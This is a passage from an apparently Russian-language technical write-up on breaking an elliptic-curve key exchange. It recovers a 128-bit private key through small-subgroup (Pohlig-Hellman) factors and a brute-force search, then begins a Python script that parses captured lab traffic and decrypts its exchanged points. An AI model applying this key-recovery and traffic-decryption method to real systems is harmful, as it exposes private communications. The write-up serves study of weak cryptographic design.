{mul_small_prime.nbits()}\")  large_prime = 7072010737074051173701300310820071551428959987622994965153676442076542799542912293 print(f\"\u0414\u043b\u0438\u043d\u0430 \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044f \u0432 \u0431\u0438\u0442\u0430\u0445: {large_prime.bit_length()}\") <\/code><\/pre>\n<p>\u041f\u043e\u0440\u044f\u0434\u043e\u043a, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043c\u0430\u043b\u044b\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439, \u0438\u043c\u0435\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 112 \u0431\u0438\u0442 (\u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044f \u2013 272 \u0431\u0438\u0442\u0430), \u0438 \u0445\u043e\u0442\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0434\u043b\u0438\u043d\u043e\u0439 128 \u0431\u0438\u0442, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f <img decoding=\"async\" class=\"formula inline\" source=\"d_{\\text{small}}\" alt=\"d_{\\text{small}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430\u0445 \u043c\u0430\u043b\u044b\u0445 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432 (\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u0435\u043c\u044c \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439) \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u044d\u0442\u0438\u0445 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0435\u0439:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"\\begin{array}{l}d_{\\text{small}} \\equiv d_1 \\mod 35809^1 \\\\d_{\\text{small}} \\equiv d_2 \\mod 46027^2 \\\\\\vdots \\\\d_{\\text{small}} \\equiv d_7 \\mod 113111^1 \\\\\\end{array}\" alt=\"\\begin{array}{l}d_{\\text{small}} \\equiv d_1 \\mod 35809^1 \\\\d_{\\text{small}} \\equiv d_2 \\mod 46027^2 \\\\\\vdots \\\\d_{\\text{small}} \\equiv d_7 \\mod 113111^1 \\\\\\end{array}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/867\/867d929ffda4907fdcb8e18117217c8e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/867\/867d929ffda4907fdcb8e18117217c8e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/86\/867\/867d929ffda4907fdcb8e18117217c8e.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u044d\u0442\u0438\u0445 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0442\u0435\u043e\u0440\u0435\u043c\u044b \u043e\u0431 \u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0441\u0442\u0435\u043f\u0435\u043d\u0435\u0439:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"d \\equiv d_{\\text{small}} \\pmod {\\prod_{i=1}^{7} p_i^{e_i}}\" alt=\"d \\equiv d_{\\text{small}} \\pmod {\\prod_{i=1}^{7} p_i^{e_i}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/32\/326\/326c92c76940f50d8fd66b7b4a2364cb.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/32\/326\/326c92c76940f50d8fd66b7b4a2364cb.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/32\/326\/326c92c76940f50d8fd66b7b4a2364cb.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u041e\u0431\u0449\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u0432\u0438\u0434\u0435:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"d = d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}, \\quad \\text{\u0433\u0434\u0435 } k = 0, 1, \\dots, \\left\\lfloor \\frac{d - d_{\\text{small}}}{\\prod_{i=1}^{7} p_i^{e_i}} \\right\\rfloor\" alt=\"d = d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}, \\quad \\text{\u0433\u0434\u0435 } k = 0, 1, \\dots, \\left\\lfloor \\frac{d - d_{\\text{small}}}{\\prod_{i=1}^{7} p_i^{e_i}} \\right\\rfloor\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u0433\u043b\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u043c\u0430\u043b\u043e\u0433\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430: \u043c\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 <img decoding=\"async\" class=\"formula inline\" source=\"d_{\\text{small}}\" alt=\"d_{\\text{small}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8f\/8fc\/8fc1abf6506b6827ecfc3439f019dd92.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043f\u0443\u0442\u0451\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"k\" alt=\"k\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u0430\u0436\u0434\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c\u0443 \u043a\u043b\u044e\u0447\u0443.<br \/> \u0422\u0430\u043a \u043a\u0430\u043a \u0434\u043b\u0438\u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 128 \u0431\u0438\u0442, \u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u0438\u0445 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u043b\u0438\u043d\u0443 112 \u0431\u0438\u0442. C\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043b\u044e\u0447\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f <img decoding=\"async\" class=\"formula inline\" source=\"k\" alt=\"k\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u0442\u043e \u0435\u0441\u0442\u044c:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"k = 0, 1, \\dots,\\frac{2^{128} - 2^{112}}{2^{112}} = 0, 1, \\dots,65535\" alt=\"k = 0, 1, \\dots,\\frac{2^{128} - 2^{112}}{2^{112}} = 0, 1, \\dots,65535\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f5\/f5a\/f5a048ec5e758e7297c4f47499caac12.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f5\/f5a\/f5a048ec5e758e7297c4f47499caac12.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f5\/f5a\/f5a048ec5e758e7297c4f47499caac12.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0442\u043e\u0447\u043a\u0443 \u043d\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 <img decoding=\"async\" class=\"formula inline\" source=\"Q'\" alt=\"Q'\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/4d\/4de\/4de93dc33ac8b4266021eee22b2ee9fd.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/4d\/4de\/4de93dc33ac8b4266021eee22b2ee9fd.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/4d\/4de\/4de93dc33ac8b4266021eee22b2ee9fd.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0435\u0451 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c <img decoding=\"async\" class=\"formula inline\" source=\"Q\" alt=\"Q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"Q' = d \\cdot G = \\left(d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}\\right) \\cdot G\" alt=\"Q' = d \\cdot G = \\left(d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}\\right) \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2a\/f2a612e9cd3f78f95e8376bf8788196b.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2a\/f2a612e9cd3f78f95e8376bf8788196b.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2a\/f2a612e9cd3f78f95e8376bf8788196b.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<h4>\u041e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438<\/h4>\n<p>\u0421 \u0446\u0435\u043b\u044c\u044e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0432\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u0442\u0440\u0430\u0444\u0438\u043a\u0443 \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{cli}}\" alt=\"x_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{cli}}\" alt=\"y_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 781w\" loading=\"lazy\" decode=\"async\"\/> (\u043f\u0430\u043a\u0435\u0442\u044b \u2116 4, 6) \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{serv}}\" alt=\"x_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{serv}}\" alt=\"y_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 781w\" loading=\"lazy\" decode=\"async\"\/> (\u043f\u0430\u043a\u0435\u0442\u044b \u2116 8, 10).<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/4t\/5p\/ro\/4t5prone4r-rhip4lhhyhvrpuqw.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041e\u0431\u043c\u0435\u043d \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/4t\/5p\/ro\/4t5prone4r-rhip4lhhyhvrpuqw.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/4t\/5p\/ro\/4t5prone4r-rhip4lhhyhvrpuqw.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041e\u0431\u043c\u0435\u043d \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u2116 10 \u043f\u043e\u043c\u0438\u043c\u043e \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u0441\u0442\u0440\u043e\u043a\u0430 <strong>verify<\/strong>, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0430\u044f \u0440\u043e\u043b\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438.<\/p>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u0432 <strong>SageMath<\/strong> \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438:<\/p>\n<pre><code class=\"bash\">sage -pip install scapy sage -pip install pycryptodome <\/code><\/pre>\n<h3>\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 \u0442\u043e\u0447\u0435\u043a<\/h3>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 \u0442\u043e\u0447\u0435\u043a \u043d\u0430 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u0443\u0435\u043c \u0438\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 <strong>XOR<\/strong>:<\/p>\n<pre><code class=\"python\">from sage.all import * from sage.groups.generic import discrete_log from scapy.layers.inet import IP, TCP from scapy.packet import Raw from scapy.utils import rdpcap from Crypto.Cipher import ChaCha20 import hashlib import base64  pcap = rdpcap(\"capture.pcapng\") raw_data_client = b'' raw_data_server = b'' raw_data_all = b''  client_ip = \"192.168.56.101\" server_ip = \"192.168.56.103\" client_port = 49848 server_port = 31337  for pkt in pcap:     if IP in pkt and TCP in pkt:         ip_layer = pkt[IP]         tcp_layer = pkt[TCP]          # \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u0442\u0440\u0430\u0444\u0438\u043a \u043e\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430         if ((ip_layer.src == client_ip and ip_layer.dst == server_ip and tcp_layer.sport == client_port and tcp_layer.dport == server_port)):             if Raw in pkt:                 raw_data_client += pkt[Raw].load          if (ip_layer.dst == client_ip and ip_layer.src == server_ip and tcp_layer.dport == client_port and tcp_layer.sport == server_port):             # \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c             if Raw in pkt:                 raw_data_server += pkt[Raw].load          # \u0415\u0434\u0438\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0434\u043b\u044f 